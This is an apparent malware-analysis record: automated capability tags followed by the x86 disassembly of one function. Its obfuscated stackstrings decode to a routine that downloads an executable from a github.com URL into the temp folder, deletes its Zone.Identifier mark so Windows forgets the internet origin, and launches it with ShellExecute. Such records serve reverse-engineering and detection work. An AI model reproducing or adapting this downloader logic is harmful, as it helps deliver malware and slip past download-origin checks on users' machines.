Function at 0x454b00
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Delete file
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x514
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edi
push 0x5c
pop eax
push 0x6b
mov word [ebp - 0x54], ax
pop eax
push 0x62
mov word [ebp - 0x52], ax
xor ebx, ebx
pop eax
push 0x31
pop ecx
push 0x34
mov word [ebp - 0x50], ax
pop eax
push 0x32
mov word [ebp - 0x4c], ax
pop eax
push 0x37
mov word [ebp - 0x4a], ax
pop eax
push 0x35
mov word [ebp - 0x48], ax
pop eax
push 0x2e
mov word [ebp - 0x44], ax
pop eax
push 0x65
mov word [ebp - 0x42], ax
mov word [ebp - 0x4e], cx
mov word [ebp - 0x46], cx
pop ecx
push 0x78
pop eax
push 0x25
mov word [ebp - 0x3e], ax
xor eax, eax
mov word [ebp - 0x3a], ax
pop eax
push 0x6c
mov word [ebp - 0x7c], ax
pop eax
push 0x73
mov word [ebp - 0x7a], ax
pop eax
push 0x3a
pop edx
push 0x5a
mov word [ebp - 0x78], ax
pop eax
push 0x6f
mov word [ebp - 0x74], ax
pop eax
push 0x6e
mov word [ebp - 0x72], ax
pop eax
push 0x2e
mov word [ebp - 0x70], ax
pop eax
push 0x49
mov word [ebp - 0x6c], ax
pop eax
push 0x64
mov word [ebp - 0x6a], ax
pop eax
push 0x6e
mov word [ebp - 0x40], cx
mov word [ebp - 0x3c], cx
mov word [ebp - 0x6e], cx
mov word [ebp - 0x66], cx
pop ecx
push 0x74
mov word [ebp - 0x68], ax
pop eax
mov word [ebp - 0x76], dx
mov word [ebp - 0x64], cx
mov word [ebp - 0x62], ax
push 0x69
pop ecx
push 0x66
pop eax
push 0x65
pop esi
push 0x72
mov word [ebp - 0x5e], ax
pop eax
push 0x6f
mov word [ebp - 0x58], ax
xor eax, eax
mov word [ebp - 0x56], ax
pop eax
push 0x70
mov word [ebp - 0x38], ax
mov word [ebp - 0x60], cx
mov word [ebp - 0x5c], cx
pop ecx
push 0x6e
pop eax
push 0x68
mov word [ebp - 0x32], ax
xor eax, eax
mov word [ebp - 0x30], ax
pop eax
push 0x74
mov word [ebp - 0xe8], ax
pop eax
push 0x73
mov word [ebp - 0xe6], ax
mov word [ebp - 0xe4], ax
pop eax
push 0x2f
mov word [ebp - 0xe0], ax
mov word [ebp - 0x5a], si
mov word [ebp - 0x34], si
pop esi
push 0x67
pop eax
push 0x69
mov word [ebp - 0xd8], ax
pop eax
push 0x74
mov word [ebp - 0xd6], ax
pop eax
push 0x68
mov word [ebp - 0xd4], ax
pop eax
push 0x75
mov word [ebp - 0xd2], ax
pop eax
push 0x62
mov word [ebp - 0xd0], ax
pop eax
push 0x2e
mov word [ebp - 0xce], ax
pop eax
push 0x63
mov word [ebp - 0xde], dx
pop edx
push 0x6f
mov word [ebp - 0xcc], ax
pop eax
push 0x6d
mov word [ebp - 0xc8], ax
pop eax
push 0x44
mov word [ebp - 0xc6], ax
pop eax
push 0x65
mov word [ebp - 0x36], cx
mov word [ebp - 0xe2], cx
pop ecx
mov word [ebp - 0xdc], si
mov word [ebp - 0xda], si
mov word [ebp - 0xca], dx
mov word [ebp - 0xc4], si
mov word [ebp - 0xc2], ax
mov word [ebp - 0xc0], cx
push 0x76
pop eax
push 0x53
mov word [ebp - 0xbe], ax
pop eax
push 0x31
mov word [ebp - 0xbc], ax
pop eax
push 0x48
mov word [ebp - 0xb6], ax
mov word [ebp - 0xb8], dx
pop edx
push 0x6c
pop eax
push 0x6f
mov word [ebp - 0xba], cx
mov word [ebp - 0xb0], cx
pop ecx
push 0x57
mov word [ebp - 0xaa], cx
pop ecx
push 0x6f
mov word [ebp - 0xa8], cx
pop ecx
push 0x72
mov word [ebp - 0xae], ax
mov word [ebp - 0xac], ax
mov word [ebp - 0xa2], ax
mov word [ebp - 0xa6], cx
pop ecx
push 0x64
pop eax
push 0x61
mov word [ebp - 0xa0], ax
mov word [ebp - 0xa4], cx
mov word [ebp - 0x9c], cx
pop ecx
push 0x77
pop eax
push 0x6d
mov word [ebp - 0x98], ax
pop eax
push 0x69
mov word [ebp - 0x94], ax
pop eax
push 0x6e
mov word [ebp - 0x90], ax
pop eax
push 0x45
mov word [ebp - 0x8e], ax
pop eax
push 0x4c
mov word [ebp - 0x88], ax
pop eax
push 0x4f
mov word [ebp - 0x86], ax
mov word [ebp - 0x84], ax
pop eax
mov word [ebp - 0x82], ax
xor eax, eax
mov word [ebp - 0x80], ax
lea eax, [ebp - 0x30c]
push eax
push 0x104
mov word [ebp - 0xb4], si
mov word [ebp - 0xb2], dx
mov word [ebp - 0x9e], si
mov word [ebp - 0x9a], cx
mov word [ebp - 0x96], si
mov word [ebp - 0x92], cx
mov word [ebp - 0x8c], si
mov word [ebp - 0x8a], dx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x454f41
push 0x6c
pop eax
push 0x6f
pop ecx
movaps xmm0, xmmword [0x47ad20]
push 0x6e
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [ebp - 0xc], cl
pop ecx
push 0x2e
pop edx
push 0x65
mov byte [ebp - 0xb], cl
pop ecx
push 0x74
mov byte [ebp - 0xe], al
mov byte [ebp - 8], al
mov byte [ebp - 7], al
mov byte [ebp - 0x19], al
mov byte [ebp - 0x18], al
mov byte [ebp - 0x13], al
mov byte [ebp - 0x12], al
mov byte [ebp - 0x29], al
mov byte [ebp - 0x28], al
pop eax
mov byte [ebp - 0x22], al
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x10]
mov word [ebp - 0x10], 0x7275
push eax
mov byte [ebp - 0xd], 0x6d
mov byte [ebp - 0xa], dl
mov byte [ebp - 9], 0x64
mov byte [ebp - 6], bl
mov word [ebp - 0x1c], 0x6873
mov byte [ebp - 0x1a], cl
mov word [ebp - 0x17], 0x3233
mov byte [ebp - 0x15], dl
mov byte [ebp - 0x14], 0x64
mov byte [ebp - 0x11], bl
movups xmmword [ebp - 0x104], xmm0
mov byte [ebp - 0xf4], cl
mov word [ebp - 0xf3], 0x57
mov word [ebp - 0x2c], 0x6853
mov byte [ebp - 0x2a], cl
mov word [ebp - 0x27], 0x7845
mov byte [ebp - 0x25], cl
mov word [ebp - 0x24], 0x7563
mov byte [ebp - 0x21], cl
mov word [ebp - 0x20], 0x57
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call edi
push eax
call esi
mov esi, eax
lea ecx, [ebp - 0x30c]
xor eax, eax
push eax
push eax
push ecx
lea ecx, [ebp - 0xe8]
push ecx
push eax
call ebx
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ebx, ebx
lea eax, [ebp - 0x30c]
push ebx
push ebx
push ebx
push eax
lea eax, [ebp - 0x38]
push eax
push ebx
call esi
mov edi, dword [ebp - 4]
mov esi, dword [edi + 0x44]
xor edx, edx
mov ecx, dword [edi + 0x18]
inc edx
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 4], edx
test esi, esi
je 0x454fd0
test dl, dl
je 0x454f74
push edi
mov ecx, esi
call fcn.004533b6
mov edx, dword [ebp - 4]
pop ecx
xor ecx, ecx
movzx edx, dl
test eax, eax
cmovne edx, ecx
mov dword [ebp - 4], edx
mov ecx, dword [esi + 0x24]
add ecx, dword [esi + 0x20]
mov eax, dword [esi + 0x18]
add eax, 0x2e
add eax, ecx
add dword [edi + 0x18], eax
inc ebx
mov eax, dword [esi + 0x35c]
mov dword [ebp - 0xec], eax
mov eax, dword [esi + 0x140]
test eax, eax
je 0x454fa3
push eax
call fcn.00455286
pop ecx
push 0x360
push esi
call fcn.004552bb
mov eax, dword [ebp - 0xec]
mov esi, eax
mov edx, dword [ebp - 4]
pop ecx
pop ecx
test eax, eax
jne 0x454f57
test dl, dl
jne 0x454fca
mov eax, 0x400
jmp 0x455006
mov ecx, dword [ebp - 0xf0]
mov eax, dword [edi + 0x10]
mov edx, dword [edi + 0x18]
add eax, ecx
push edi
sub esp, 0xc
sub edx, ecx
mov ecx, ebx
push eax
call fcn.0045377e
mov ecx, dword [ebp - 4]
xor edx, edx
add esp, 0x14
movzx ecx, cl
test eax, eax
cmovne ecx, edx
add dword [edi + 0x18], 0x16
xor eax, eax
mov edx, 0x400
test cl, cl
cmove eax, edx
pop edi
pop esi
pop ebx
leave
ret